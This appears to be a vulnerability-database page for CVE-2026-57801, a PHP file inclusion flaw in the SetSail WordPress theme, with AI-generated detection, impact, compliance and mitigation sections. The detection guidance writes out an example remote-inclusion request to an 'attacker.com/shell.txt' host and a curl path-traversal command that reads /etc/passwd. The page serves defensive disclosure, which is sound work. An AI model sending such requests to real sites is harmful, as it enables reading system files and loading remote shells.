CVE-2026-57801
Deferred Deferred - Pending Action

Improper File Inclusion in SetSail Theme

Vulnerability report for CVE-2026-57801, including description, CVSS score, EPSS score, affected products, exploitability, helpful resources, and attack-flow context.

Publication date: 2026-07-13

Last updated on: 2026-07-13

Assigner: Patchstack

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes SetSail setsail allows PHP Local File Inclusion.This issue affects SetSail: from n/a through <= 2.1.

CVSS Scores

EPSS Scores

Probability:
Percentile:

Meta Information

Published
2026-07-13
Last Modified
2026-07-13
Generated
2026-08-02
AI Q&A
2026-07-13
EPSS Evaluated
2026-08-01
NVD
EUVD

Affected Vendors & Products

Showing 1 associated CPE
Vendor Product Version / Range
set_themes setsail to 2.1 (inc)

Helpful Resources

Exploitability

CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-98 The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Attack-Flow Graph

AI Quick Actions

Instant insights powered by AI
Executive Summary

This vulnerability is an improper control of the filename used in an include or require statement in a PHP program, specifically in the Select-Themes SetSail software. It is a PHP Local File Inclusion (LFI) vulnerability, which means that an attacker can manipulate the filename parameter to include unintended files on the server.

Detection Guidance

Detecting this PHP Remote File Inclusion (RFI) or Local File Inclusion (LFI) vulnerability in Select-Themes SetSail (versions <= 2.1) requires checking for improper file inclusion patterns in the application's code or monitoring for suspicious file inclusion attempts.

  • Review the application's PHP files for insecure include/require statements that use user-controlled input (e.g., $_GET, $_POST, or $_COOKIE variables) without proper validation or sanitization.
  • Use static code analysis tools like PHPStan, Psalm, or RIPS to scan for vulnerable file inclusion patterns in the SetSail theme codebase.
  • Monitor web server logs for unusual requests containing patterns like '?file=', '?page=', or other parameters that might be used to include malicious files (e.g., remote URLs or local system files). Example log entry to look for: 'GET /wp-content/themes/setsail/includes/?file=http://attacker.com/shell.txt'.
  • Use network scanning tools like Burp Suite, OWASP ZAP, or custom scripts to test for RFI/LFI by sending crafted requests to the application. Example command using curl to test for LFI: 'curl 'http://example.com/wp-content/themes/setsail/includes/?file=../../../../etc/passwd''.
  • Check for the presence of the vulnerable SetSail theme version (<= 2.1) in your WordPress installation by navigating to the WordPress admin dashboard, then 'Appearance' > 'Themes', and verifying the theme version.
Impact Analysis

The vulnerability can have a high impact as indicated by its CVSS score of 7.5. It allows an attacker with low privileges and no user interaction to potentially execute arbitrary code or access sensitive information by including local files. This can lead to confidentiality, integrity, and availability impacts on the affected system.

Compliance Impact

This vulnerability, a PHP Remote File Inclusion (RFI) and Local File Inclusion (LFI), can have significant implications for compliance with standards and regulations like GDPR and HIPAA.

  • GDPR: The vulnerability could lead to unauthorized access to sensitive personal data stored on the server. Under GDPR, organizations must implement appropriate technical measures to protect personal data. A successful exploit of this vulnerability could result in a data breach, leading to non-compliance with GDPR's data protection requirements (Articles 5, 25, and 32). This may result in fines or legal action if personal data is exposed.
  • HIPAA: For organizations handling protected health information (PHI), this vulnerability could allow attackers to access or manipulate PHI. HIPAA requires safeguards to ensure the confidentiality, integrity, and availability of PHI. Exploitation of this vulnerability could violate the Security Rule (45 CFR Part 164, Subpart C), leading to penalties or corrective action plans.
  • General Compliance Impact: Many compliance frameworks (e.g., ISO 27001, PCI DSS) require secure coding practices and protection against injection attacks. This vulnerability indicates a failure to implement such controls, potentially leading to non-compliance with these standards.

The CVSS score of 7.5 (High) further underscores the severity of this issue, as it reflects a significant risk to data confidentiality, integrity, and availability, all of which are critical to maintaining compliance.

Mitigation Strategies

To mitigate this PHP Remote File Inclusion (RFI) or Local File Inclusion (LFI) vulnerability in Select-Themes SetSail (versions <= 2.1), follow these immediate steps:

  • Update the SetSail theme to the latest version if a patch is available. Since the CVE states the issue affects versions up to and including 2.1, check the vendor's website or WordPress theme repository for an updated version.
  • If no patch is available, disable the SetSail theme temporarily and switch to a default or alternative theme to prevent exploitation.
  • Apply input validation and sanitization to all file inclusion functions in the theme's code. Ensure user-controlled input is not directly passed to include/require statements. Example fix: Use a whitelist of allowed files or validate file paths strictly.
  • Restrict file inclusion to local files only by disabling remote file inclusion in PHP configuration. Set 'allow_url_include' to 'Off' in php.ini: 'allow_url_include = Off'.
  • Implement a Web Application Firewall (WAF) to block malicious requests attempting to exploit RFI/LFI vulnerabilities. Rulesets like OWASP ModSecurity Core Rule Set (CRS) can help detect and block such attacks.
  • Monitor the application and server logs for signs of exploitation attempts, such as requests containing suspicious file paths or remote URLs.
  • Consider conducting a security audit of the theme's codebase to identify and remediate other potential vulnerabilities.

Chat Assistant

Ask questions about this CVE
Hi! I’m here to help you understand CVE-2026-57801. Ask me anything about the vulnerability, its impact, or mitigation strategies.
0/70

EPSS Chart